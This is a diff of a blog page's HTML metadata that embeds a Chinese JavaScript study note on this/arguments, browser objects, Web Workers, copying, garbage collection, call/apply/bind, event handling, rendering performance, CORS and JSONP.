 callee属性对应着当前的函数
 例如：
-function abc(){
console.log(arguments.length);
console.log(arguments[0]);
console.log(arguments.callee);
console.log(this)
}
abc('hallo');
BOM对象 (Browser Object Model) 是指浏览器对象模型
+function abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc('hallo'); BOM对象 (Browser Object Model) 是指浏览器对象模型
 该对象提供了浏览器行为和浏览器属性方法
 windows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性
 navigator包含了当前浏览器的全部信息
-console.log(window.navigator)
可以看到输出了很多属性，如userAgent，language等等
+console.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等
 location表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：
-console.log(window.location)
const urlData = &#34;https://xiaochenabc123.test.com/;
window.location.href = urlData;
这个也可以实现跳转
-window.location.assign(&#34;https://xiaochenabc123.test.com&#34;)
这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
-window.location.replace(&#34;https://xiaochenabc123.test.com&#34;)
reload方法可以重载页面，加上true参数将强制更新
-window.location.reload(true)
history表示浏览器的历史记录
-console.log(window.history)
length表示本次访问网站的数量
+console.log(window.location) const urlData = &#34;https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转
+window.location.assign(&#34;https://xiaochenabc123.test.com&#34;) 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
+window.location.replace(&#34;https://xiaochenabc123.test.com&#34;) reload方法可以重载页面，加上true参数将强制更新
+window.location.reload(true) history表示浏览器的历史记录
+console.log(window.history) length表示本次访问网站的数量
 同时也提供了几个方法
 back()返回上个页面
 window.history.back()
@@ -22,7 +22,7 @@
 go()，前进或者后退指定次数，正数为前进，负数为后退
 window.history.go(-1)
 screen代表用户的屏幕的信息, 获取显示器的相关信息
-console.log(window.screen)
call 和 apply
+console.log(window.screen) call 和 apply
 addEventListen()绑定事件函数
 removeEventListen()移除事件函数
 鼠标按下时onmousedown
@@ -33,22 +33,22 @@
 document.execCommand可以操作剪贴板
 document.execCommand(&lsquo;copy&rsquo;) // 复制
 document.execCommand(&lsquo;cut&rsquo;) // 剪切
-document.execCommand(&lsquo;paste&rsquo;) // 粘贴"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/61/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="JavaScript知识扩展"><meta property="og:description" content="函数被调用时，浏览器会传递两个参数，this和arguments
+document.execCommand(&lsquo;paste&rsquo;) // 粘贴"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/61/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="JavaScript知识扩展"><meta property="og:description" content="函数被调用时，浏览器会传递两个参数，this和arguments
 this就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存
 callee属性对应着当前的函数
 例如：
-function abc(){
console.log(arguments.length);
console.log(arguments[0]);
console.log(arguments.callee);
console.log(this)
}
abc('hallo');
BOM对象 (Browser Object Model) 是指浏览器对象模型
+function abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc('hallo'); BOM对象 (Browser Object Model) 是指浏览器对象模型
 该对象提供了浏览器行为和浏览器属性方法
 windows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性
 navigator包含了当前浏览器的全部信息
-console.log(window.navigator)
可以看到输出了很多属性，如userAgent，language等等
+console.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等
 location表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：
-console.log(window.location)
const urlData = &#34;https://xiaochenabc123.test.com/;
window.location.href = urlData;
这个也可以实现跳转
-window.location.assign(&#34;https://xiaochenabc123.test.com&#34;)
这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
-window.location.replace(&#34;https://xiaochenabc123.test.com&#34;)
reload方法可以重载页面，加上true参数将强制更新
-window.location.reload(true)
history表示浏览器的历史记录
-console.log(window.history)
length表示本次访问网站的数量
+console.log(window.location) const urlData = &#34;https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转
+window.location.assign(&#34;https://xiaochenabc123.test.com&#34;) 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
+window.location.replace(&#34;https://xiaochenabc123.test.com&#34;) reload方法可以重载页面，加上true参数将强制更新
+window.location.reload(true) history表示浏览器的历史记录
+console.log(window.history) length表示本次访问网站的数量
 同时也提供了几个方法
 back()返回上个页面
 window.history.back()
@@ -58,7 +58,7 @@
 go()，前进或者后退指定次数，正数为前进，负数为后退
 window.history.go(-1)
 screen代表用户的屏幕的信息, 获取显示器的相关信息
-console.log(window.screen)
call 和 apply
+console.log(window.screen) call 和 apply
 addEventListen()绑定事件函数
 removeEventListen()移除事件函数
 鼠标按下时onmousedown
@@ -69,21 +69,21 @@
 document.execCommand可以操作剪贴板
 document.execCommand(&lsquo;copy&rsquo;) // 复制
 document.execCommand(&lsquo;cut&rsquo;) // 剪切
-document.execCommand(&lsquo;paste&rsquo;) // 粘贴"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/61/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-18T22:35:00+00:00"><meta property="article:modified_time" content="2021-07-18T22:35:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="JavaScript知识扩展"><meta name=twitter:description content="函数被调用时，浏览器会传递两个参数，this和arguments
+document.execCommand(&lsquo;paste&rsquo;) // 粘贴"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/61/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-18T22:35:00+00:00"><meta property="article:modified_time" content="2021-07-18T22:35:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="JavaScript知识扩展"><meta name=twitter:description content="函数被调用时，浏览器会传递两个参数，this和arguments
 this就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存
 callee属性对应着当前的函数
 例如：
-function abc(){
console.log(arguments.length);
console.log(arguments[0]);
console.log(arguments.callee);
console.log(this)
}
abc('hallo');
BOM对象 (Browser Object Model) 是指浏览器对象模型
+function abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc('hallo'); BOM对象 (Browser Object Model) 是指浏览器对象模型
 该对象提供了浏览器行为和浏览器属性方法
 windows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性
 navigator包含了当前浏览器的全部信息
-console.log(window.navigator)
可以看到输出了很多属性，如userAgent，language等等
+console.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等
 location表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：
-console.log(window.location)
const urlData = &#34;https://xiaochenabc123.test.com/;
window.location.href = urlData;
这个也可以实现跳转
-window.location.assign(&#34;https://xiaochenabc123.test.com&#34;)
这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
-window.location.replace(&#34;https://xiaochenabc123.test.com&#34;)
reload方法可以重载页面，加上true参数将强制更新
-window.location.reload(true)
history表示浏览器的历史记录
-console.log(window.history)
length表示本次访问网站的数量
+console.log(window.location) const urlData = &#34;https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转
+window.location.assign(&#34;https://xiaochenabc123.test.com&#34;) 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
+window.location.replace(&#34;https://xiaochenabc123.test.com&#34;) reload方法可以重载页面，加上true参数将强制更新
+window.location.reload(true) history表示浏览器的历史记录
+console.log(window.history) length表示本次访问网站的数量
 同时也提供了几个方法
 back()返回上个页面
 window.history.back()
@@ -93,7 +93,7 @@
 go()，前进或者后退指定次数，正数为前进，负数为后退
 window.history.go(-1)
 screen代表用户的屏幕的信息, 获取显示器的相关信息
-console.log(window.screen)
call 和 apply
+console.log(window.screen) call 和 apply
 addEventListen()绑定事件函数
 removeEventListen()移除事件函数
 鼠标按下时onmousedown
@@ -104,61 +104,61 @@
 document.execCommand可以操作剪贴板
 document.execCommand(&lsquo;copy&rsquo;) // 复制
 document.execCommand(&lsquo;cut&rsquo;) // 剪切
-document.execCommand(&lsquo;paste&rsquo;) // 粘贴"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"JavaScript知识扩展","item":"https://xiaochenabc123.github.io/posts/61/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"JavaScript知识扩展","name":"JavaScript知识扩展","description":"函数被调用时，浏览器会传递两个参数，this和arguments\nthis就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存\ncallee属性对应着当前的函数\n例如：\nfunction abc(){\rconsole.log(arguments.length);\rconsole.log(arguments[0]);\rconsole.log(arguments.callee);\rconsole.log(this)\r}\rabc('hallo');\rBOM对象 (Browser Object Model) 是指浏览器对象模型\n该对象提供了浏览器行为和浏览器属性方法\nwindows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性\nnavigator包含了当前浏览器的全部信息\nconsole.log(window.navigator)\r可以看到输出了很多属性，如userAgent，language等等\nlocation表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：\nconsole.log(window.location)\rconst urlData = \u0026quot;https://xiaochenabc123.test.com/;\rwindow.location.href = urlData;\r这个也可以实现跳转\nwindow.location.assign(\u0026quot;https://xiaochenabc123.test.com\u0026quot;)\r这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面\nwindow.location.replace(\u0026quot;https://xiaochenabc123.test.com\u0026quot;)\rreload方法可以重载页面，加上true参数将强制更新\nwindow.location.reload(true)\rhistory表示浏览器的历史记录\nconsole.log(window.history)\rlength表示本次访问网站的数量\n同时也提供了几个方法\nback()返回上个页面\nwindow.history.back()\n可以绑定个点击事件，用来返回上个页面\nforward()前进，一般是和back()搭配使用，一个返回上个页面，一个返回到之前的页面\nwindow.history.forward()\ngo()，前进或者后退指定次数，正数为前进，负数为后退\nwindow.history.go(-1)\nscreen代表用户的屏幕的信息, 获取显示器的相关信息\nconsole.log(window.screen)\rcall 和 apply\naddEventListen()绑定事件函数\nremoveEventListen()移除事件函数\n鼠标按下时onmousedown\n鼠标移动时onmousemove\n鼠标松开时onmouseup\nundefined代表定义未赋值\nnull定义并赋值了, 只是值为null\ndocument.execCommand可以操作剪贴板\ndocument.execCommand(\u0026lsquo;copy\u0026rsquo;) // 复制\ndocument.execCommand(\u0026lsquo;cut\u0026rsquo;) // 剪切\ndocument.execCommand(\u0026lsquo;paste\u0026rsquo;) // 粘贴","keywords":["JavaScript"],"articleBody":"函数被调用时，浏览器会传递两个参数，this和arguments\nthis就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存\ncallee属性对应着当前的函数\n例如：\nfunction abc(){\rconsole.log(arguments.length);\rconsole.log(arguments[0]);\rconsole.log(arguments.callee);\rconsole.log(this)\r}\rabc('hallo');\rBOM对象 (Browser Object Model) 是指浏览器对象模型\n该对象提供了浏览器行为和浏览器属性方法\nwindows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性\nnavigator包含了当前浏览器的全部信息\nconsole.log(window.navigator)\r可以看到输出了很多属性，如userAgent，language等等\nlocation表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：\nconsole.log(window.location)\rconst urlData = \"https://xiaochenabc123.test.com/;\rwindow.location.href = urlData;\r这个也可以实现跳转\nwindow.location.assign(\"https://xiaochenabc123.test.com\")\r这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面\nwindow.location.replace(\"https://xiaochenabc123.test.com\")\rreload方法可以重载页面，加上true参数将强制更新\nwindow.location.reload(true)\rhistory表示浏览器的历史记录\nconsole.log(window.history)\rlength表示本次访问网站的数量\n同时也提供了几个方法\nback()返回上个页面\nwindow.history.back()\n可以绑定个点击事件，用来返回上个页面\nforward()前进，一般是和back()搭配使用，一个返回上个页面，一个返回到之前的页面\nwindow.history.forward()\ngo()，前进或者后退指定次数，正数为前进，负数为后退\nwindow.history.go(-1)\nscreen代表用户的屏幕的信息, 获取显示器的相关信息\nconsole.log(window.screen)\rcall 和 apply\naddEventListen()绑定事件函数\nremoveEventListen()移除事件函数\n鼠标按下时onmousedown\n鼠标移动时onmousemove\n鼠标松开时onmouseup\nundefined代表定义未赋值\nnull定义并赋值了, 只是值为null\ndocument.execCommand可以操作剪贴板\ndocument.execCommand(‘copy’) // 复制\ndocument.execCommand(‘cut’) // 剪切\ndocument.execCommand(‘paste’) // 粘贴\nClipboard API新一代剪贴板操作方法，而且全部操作都是异步的，而且还可以将任何内容都放到剪贴板中\nconst NavigatorClipboard = navigator.clipboard\nWeb Workers\nWeb Workers就是创建多线程的，因为JavaScript是单线程语言\nWeb Workers允许主线程创建Workers线程，将任务分配给Workers线程\n主线程和Workers线程在运行的时候，互不干扰，当Workers线程处理完毕再将结果返回给主进程\n注意：Workers线程不能和主线程进行通信，不能读取本地文件，只能通过网络文件获取，而且Worker执行的脚本文件必须要和主线程同源\n创建Worker线程\nvar worker = new Worker(‘https://xxx.xxx/data.js')\n可以看出Worker构造函数的参数是一个脚本文件，例如js\n注意：因为Worker不能读取本地文件，只能从网络上获取，因此会出现下载失败的情况，当下载失败的时候，不会抛出错误的\n主线程和worker线程通信\nworker.postMessage(“hallo word”)\nworker.onmessage = function (event) {\rconsole.log('data: ' + event.data)\r}\r当worker线程处理完毕，结果可以被event.data获取到\n关闭worker线程\nworker.terminate()\n深拷贝和浅拷贝\n浅拷贝：两个变量指向同一个内存地址，修改任何一个值，另一个的值也会跟着变化\n例如：\nvar obj = {\rname: \"root\"\r}\rvar abc= obj\rabc.name = \"admin\"\rconsole.log(obj, adc)\r深拷贝：将对象的值复制，并且给予新的变量名和地址，改变一个值，并不会引起另一个值的变化，因为引用地址不同\n例如：\nvar obj = {\rname: \"root\"\r}\rvar abc = { ...obj }\rabc.name = \"admin\"\rconsole.log(obj, abc)\rnew的作用：实例化一个新的对象-调用构造函数并且将构造函数的this指向该实例对象-实例对象共享构造函数的方法和属性\nJavaScript的内存管理机制与垃圾回收机制\n内存管理机制就是分配内存，JavaScript的内存管理就是创建时分配，不使用就是被回收释放\nJavaScript内存空间分为栈，堆，池\n栈存放变量，堆存放复杂对象，池存放常量\n在声明一个变量或者对象，函数的时候系统会自动分配内存，使用完毕的时候通过垃圾回收机制自动回收\n浏览器最常见的垃圾回收有两个，分别是标记清除，引用计数\n标记清除：垃圾回收器会给存储在内存中的变量一个标记，然后会去掉在环境中的变量及被环境中的变量引用的变量标记（闭包），而在此之后剩下的带有标记的变量视为要被删除的变量，最后垃圾回收器将释放这些变量的内存，回收它们所占用的空间\n引用计数：通过跟踪记录每个值被使用的次数，调用一次值解就加一，改变值为另一个值时就减一，当次数为0时，就是在说明没有变量在使用，这个值已经无法访问，垃圾回收器在运行的时候清理回收引用次数为0的值占用的空间\n注意：引用计数方法会导致内存泄露，因为其循环引用，导致闭锁\nthis指向：在严格模式中，函数内部的this被指向到undefined上，在非严格模式上会被绑定到window/global全局对象上，在使用new调用构造函数时，该构造函数内部的this被指向到这个new出来的对象上，在使用call/apply/bind方法调用函数时，该函数内部的this被指向call/apply/bind方法指定参数的对象上，在箭头函数中，this的指向取决于外部作用域，在执行上下文中，this取决于最后调用它的对象\nthis优先级：使用bind，apply，call，new绑定this指向的叫显式绑定，而通过调用方式来绑定叫隐式绑定，显式绑定的优先级比隐式绑定的优先级高，在显式绑定中，new优先级最高\n当某个函数在对象上下文中被调用，这个函数的this会绑定在这个对象上下文中，例如：\nfunction abc(){\rconsole.log(this.a)\r}\rlet a = 1\rlet obj = {\ra: 123,\rabc: abc\r}\rlet obj1 = {\ra: 666,\robj: obj\r}\robj.abc() // 哪怕在全局作用域中调用，this依然指向对象上下文\robj1.obj.abc() // 可以看到对象属性引用链只有真正调用函数的才可以影响this\r丢失this绑定（由于默认绑定，会默认绑定到全局对象或者undefined上，从而丢失了this），例如：\nfunction abc(){\rconsole.log(this.a)\r}\rvar obj = {\ra: 123,\rabc: abc\r}\rvar funs = obj.abc\rvar a = 666\rfuns()\rfuns变量的值为obj.abc的引用，注意不是调用，调用要加()，执行funs时就是在调用abc函数（因为funs的值就是abc函数的引用），因此abc函数的this指向了全局对象（a在全局作用域中，会变成全局对象的属性），导致丢失了想要指向obj对象的this\n使用let或者const关键字声明的全局变量，会被绑定到Script对象上而不是Window对象，使用var定义的变量，就可以被绑定到Window对象上\n例如：\nvar abc = “hallo” console.log(this.abc) // hallo console.log(this) // Window\nlet abc = “hallo” console.log(this.abc) // undefined console.log(this) // Window\nbind，apply，call都是改变this指向的\nbind()：第一个参数是this的指向，后面的是参数列表，可以多次传入，而call要求一次性传入完毕\n例如：\nvar arr=[1,2,4,6,7,10] var max=Math.max.bind(null,arr[0],arr[1],arr[2]) console.log(max()) // 4\napply():接受两个参数，第一个参数是this的指向，第二个参数是函数接收的参数（这个参数是通过数组形式传参），如果第一个参数为null或者undefined的时候，将指向window\nconst arr = [1,2,4,6,7,10] const abc = Math.max.apply(null,arr) console.log(abc) // 10\ncall():第一个参数是this的指向，后面传入的是一个参数列表（注意要一次性传完），当第一个参数为null或undefined的时候，表示指向window，call是临时改变一次this指向，并立即执行（和apply()一样）\nvar arr=[1,2,4,6,7,10] var max=Math.max.call(null,arr[0],arr[1],arr[2]) console.log(max) // 4\ncall和apply可直接对函数进行调用，而bind是返回一个函数，这个函数已经绑定了新的this指向，需要()来调用\n显式硬绑定\nfunction abc(){\rconsole.log(this.a)\r}\rvar obj = {\ra: 123,\rabc: abc\r}\rvar funs = function(){\rabc.call(obj)\r}\rfuns()\rfuns.call(windos) // 不能修改this，因为调用funs函数本身就是在绑定this\r数字 Number 字符串 String 对象 日期 Date 对象 数组 Array 布尔 Boolean 算数 Math\n防抖动（Debouncing）和节流阀（Throtting）\n防抖和节流是web性能优化的知识点，常见于处理触发频率较高的函数，例如：滚动条监听\n防抖(debounce)\n触发事件，不立刻执行，而是事件发生后一段时间在执行，延迟执行，例如setTimeout()\n每触发一次，都要经过一定时间后才进行执行，而该事件再触发，那么上一个触发的时间作为新起点\n可以理解为触发事件后在一定时间内只执行一次，如果在该一定时间内又触发了事件，那么重新计算\n节流(throttle)\n节流其实就是连续触发多次事件，但是在一定时间只触发一次函数\n防抖和节流的区别就是，一个在一定时间内只执行一次，多次触发重新计算，而另一个就是在一定时间内触发一次\nDOM事件流/事件委托\nDOM事件流实质上就是页面中接收事件的顺序，当事件被触发的时候，事件在dom节点之间按照顺序传播，这个就是DOM事件流\n事件被触发，执行目标该事件的处理函数，一个事件被触发，传递给自己父级，一直到window，这个叫事件冒泡\n捕获事件和冒泡只能执行其中一个，例如不想执行某个事件冒泡，就可以捕获其事件，从而达到阻止冒泡的情况发生\n事件对象（event）：这个对象包含了事件的相关数据\nev = event || window.event\nev.target可以获取到是说触发了这个事件，例如：\nconst ev = event || window.event\rconst div = document.querySelector('div')\rdiv.addEventListener('click', function (ev) {\rconsole.log(ev.target)\r})\r还有preventDefault()，stopPropagation()分别用来阻止默认事件和冒泡的\n事件委托\n事件委托实质上就是不在子元素上设置事件监听，而是在其父元素上，利用冒泡事件来设置给子元素\n在父元素上绑定事件监听，然后通过ev.target来精确找到是那个子元素触发的，然后事件冒泡到父元素上，因为父元素有事件监听器，因此触发\nthis会变，但是ev.target永远会精确找到触发事件的目标元素，可以不再使用this来表示当前事件触发元素了\nDOM加载顺序（浏览器加载顺序）：解析HTML-加载外部脚本和样式表-解析脚本并且执行-构造DOM模型-加载外部文件（例如图片视频音频等等）\n浏览器渲染过程\n接收获取到html/css/JavaScript等资源后\n浏览器解析渲染该资源，在渲染页面之前后先构建DOM树和CSSOM树\nDOM树实质就是DOM对象模型，提供了对DOM的结构的方法（例如js就是通过dom来操作结构和样式等等）\nCSSOM树实质就是样式对象模型，是css的对象集合\n通过DOM树和CSSOM树合并为RenderObject树（RENDER树，又叫渲染树），通过一系列的布局，绘制操作，再通过浏览器来将渲染交给GPU进程来合成，最后显示页面\n因为JavaScript被设计成GUI渲染和JavaScript互斥，当JavaScript执行的时候，GUI线程会被挂起，等待JavaScript执行完毕后才会执行GUI渲染操作\n因此当JavaScript执行时间过长，会导致GUI渲染DOM加载堵塞\n另外CSS加载也是会阻塞DOM的渲染，因为它需要等CSSOM构造完毕才会开始渲染（RenderObject树依赖于DOM树和CSSOM树）\n而且CSS会在JavaScript执行之前加载执行，因此也是会阻塞JavaScript执行\n关键渲染路径(Critical Rendering Path)优化\n为了完成第一次渲染，应该尽量减少关键资源加载的数量，减短关键资源的获取时间，减小关键资源文件的大小\n在生产环境中，应该减少不必要的注释，空格，尽量做到min文件，可以利用GZIP来压缩文件，来减小文件大小，利用缓存机制来减少获取资源的数量\n注意：浏览器遇到script元素的时候，会阻止解析器执行操作，当CSSOM树构建完毕才会执行JavaScript，再解析\n可以利用script元素的async属性来让其继续执行，而且不会被CSSOM阻止\nscript元素的defer属性可以等解析完毕（Loaded）后再执行\n浏览器的回流和重绘\n当渲染树（RenderTree）某个部分出现改变（例如尺寸，属性等等），浏览器会重新渲染该部分或者全部的过程叫回流（reflow）\n页面第一次渲染，视窗大小发生改变，元素位置或者大小发生改变，元素字体大小发生改变，添加或删除DOM元素等等都会导致回流\n例如：增加，删除，修改dom节点，移动dom位置，修改css样式（大小），改变窗口的对象（Resize）（移动端没这个问题），滚动页面，修改网页的字体等等\n重绘（Repaint）：当元素不会改变其在正常流（文档流）的时候，只是改变样式，浏览器将新样式给元素并且重新绘制其\n回流和重绘危害性，肯定是回流严重，一个是重新渲染，另一个只是渲染其本身\n性能优化\n减少http请求次数（缓存或者本地存储），减少http请求文件的体积，图片优化（压缩），提升http请求速度\n减少dom操作（避免浏览器回流），事件委托，DOM Fragment，防抖节流，尽量不使用全局变量，布局优先选择flex\n异步加载css和js，预加载preload，页面加载动画，骨架屏，路由（组件）懒加载，组件缓存（keepalive）\n因为浏览器有同域策略，跨域会阻止，因此要解决跨域问题\n跨域资源共享(CORS)\n跨域发生的原因并不是在服务端，而是浏览器，实质上跨域发生后，服务端接收到请求，并且返回响应，但是浏览器接收到了响应后，因为浏览器的安全策略的原因，如果符合跨域的要求，但是没有通过Access-Control-Allow-Origin参数来允许客户端跨域请求该数据的话，浏览器将忽略响应结果，返回发生跨域的报错，从而得出，跨域是浏览器的安全策略的一种，确保得到的响应是服务端的的确确是发送给浏览器（客户端）的，而且也能进一步避免浏览器处理了另一个域的恶意脚本，也能进一步避免服务端的敏感数据对不合法请求的暴露\n注意：localhost和127.0.0.1是存在映射关系，但是浏览器不知道localhost是映射到哪里的，因此浏览器会认为localhost和127.0.0.1是不同域的\nCORS可以通过http头来告诉浏览器，准许访问来自不同源的指定资源\n只需要服务器设置Access-Control-Allow-Origin就可以，只有特殊跨域才需要设置\nnginx配置 location / { add_header Access-Control-Allow-Origin *; }\n谷歌浏览器标记：–disable-web-security（禁用同源策略）\nJSONP是json的补充，并不是官方的标准，jsonp是利用script标签和img标签之类的可以直接引用其他域的文件（没有跨域限制）\njsonp跨域，例如：\nlet script = document.createElement('script')\rscript.type = 'text/javascript'\rscript.src = 'https://test.xiaochenabc123.test.com/test.js'\rdocument.head.appendChild(script)\rnode跨域\napp.all('*', function(req, res, next) {\rconsole.log(req.method);\rres.header(\"Access-Control-Allow-Origin\", \"*\");\rres.header(\"Access-Control-Allow-Origin\", \"https://test.xiaochenabc123.test.com\");\rres.header('Access-Control-Allow-Headers', 'Content-type');\rres.header(\"Access-Control-Allow-Methods\", \"PUT,POST,GET,DELETE,OPTIONS,PATCH\");\rres.header('Access-Control-Max-Age',1728000);\rnext(); });\r预检请求\nCORS预请求：浏览器会发送一个OPTIONS请求到服务端验证跨域的配置是否正确，然后服务端返回一个响应来确定跨域是否被允许\nCORS将请求分成2种，简单请求（simple 